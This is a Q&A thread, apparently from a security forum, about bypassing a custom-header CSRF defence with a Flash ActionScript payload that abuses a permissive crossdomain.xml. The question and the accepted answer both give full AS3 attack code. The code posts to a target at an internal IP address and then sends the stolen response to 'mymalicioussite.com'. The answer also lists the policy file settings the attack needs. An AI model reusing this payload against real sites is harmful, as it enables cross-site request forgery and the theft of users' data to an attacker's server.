CSRF Bypass using ActionScript via weak CrossDomain.xml

Question

I have a target which has weak CrossDomain.xml but it prevents CSRF attack looking at one of the custom HTTP headers. I found following actionscript on a couple of websites, which works perfectly except that it doesnt set the header.

This actionscript sends a POST request to 'Target.htm' and I need it to set any custom header , say Test-Header:

package {
    import flash.display.Sprite;
    import flash.events.*;
    import flash.net.URLRequestMethod;
    import flash.net.URLRequest;
    import flash.net.URLLoader;
    import flash.net.URLVariables;
    import flash.net.URLRequestHeader;

    public class FlashTest extends Sprite {

        public function FlashTest() {
            // write as3 code here..
            //Target URL           
            var header:URLRequestHeader = new URLRequestHeader("Test-Header", "Test123");
            var readFrom:String = "http://192.168.100.4/Target.htm";
            var readRequest:URLRequest = new URLRequest(readFrom);
            readRequest.data  = "ThisDoesNotMatter"
            readRequest.method = URLRequestMethod.POST
            readRequest.requestHeaders.push(header);
            var getLoader:URLLoader = new URLLoader();
            getLoader.addEventListener(Event.COMPLETE, eventHandler);
            try
            {
                getLoader.load(readRequest);
            }
            catch(error:Error)
            {

            }
        }

        private function eventHandler(event:Event):void
        {
            var sendTO:String = "http://mymalicioussite.com";
            var sendRequest:URLRequest = new URLRequest(sendTO);
            sendRequest.method = URLRequestMethod.POST;
            sendRequest.data = event.target.data;
            var sendLoader:URLLoader = new URLLoader();
            try
            {
                sendLoader.load(sendRequest);
            }
            catch(error:Error)
            {

            }
          }
        }
      }

CrossDomain.XML on the target:

    <?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <allow-access-from domain="*" secure="true" />
</cross-domain-policy>

Any help would be appreciated. A working code with GET request instead of POST would also work as target accepts both, GET and POST requests. As far as I know, setting custom headers are allowed only with POST request but a GET request with any standard HTTP header would work for me at least for now.

@paj28: Yes, it allows requests from any domain. <?xml version="1.0"?> <!DOCTYPE cross-domain-policy SYSTEM "adobe.com/xml/dtds/cross-domain-policy.dtd"> <cross-domain-policy> <allow-access-from domain="*" secure="true" /> </cross-domain-policy> — shellcode
– shellcode, Commented Mar 26, 2017 at 13:04
I don't see allow-http-request-headers-from in that snippet. — paj28
– paj28, Commented Mar 26, 2017 at 13:39
@paj28: Sorry about that, the crossdomain.xml on target does not have 'allow-http-request-headers-from'. However, if I add this header to the crossdomain.xml on requesting domain, would it work? — shellcode
– shellcode, Commented Mar 26, 2017 at 13:40

shellcode · Accepted Answer · 2017-04-02 05:37:40Z

After performing a few tests, I was able to modify the script mentioned above to set any custom header ( except for Referer and User-Agent headers that browsers do not allow):

Also, This works only if the target and attacking machine should have following crossdomain.xml:

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-
domain-policy.dtd">
<cross-domain-policy>
 <allow-access-from domain="*" secure="false"  />
 <allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>

And here is the AS3 script that worked for me:

package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLVariables;
import flash.net.URLRequestHeader;

public class FlashTest extends Sprite {

    public function FlashTest() {
        // write as3 code here..

        //Set Header
        var headers:Array = [new URLRequestHeader("TestHeader", "Test123")];

        //Target URL           
        var readFrom:String = "http://192.168.253.133/Target.htm";
        var readRequest:URLRequest = new URLRequest(readFrom);
        readRequest.requestHeaders = headers;
        readRequest.data  = "ThisDoesNotMatter" //POST data
        readRequest.method = URLRequestMethod.POST
        //readRequest.requestHeaders.push();
        var getLoader:URLLoader = new URLLoader();
        getLoader.addEventListener(Event.COMPLETE, eventHandler);
        try
        {
            getLoader.load(readRequest);
        }
        catch(error:Error)
        {

        }
    }

    private function eventHandler(event:Event):void
    {
        var sendTO:String = "http://mymalicioussite.com";
        var sendRequest:URLRequest = new URLRequest(sendTO);
        sendRequest.method = URLRequestMethod.POST;
        sendRequest.data = event.target.data;
        var sendLoader:URLLoader = new URLLoader();
        try
        {
            sendLoader.load(sendRequest);
        }
        catch(error:Error)
        {

        }
      }
    }
}//package

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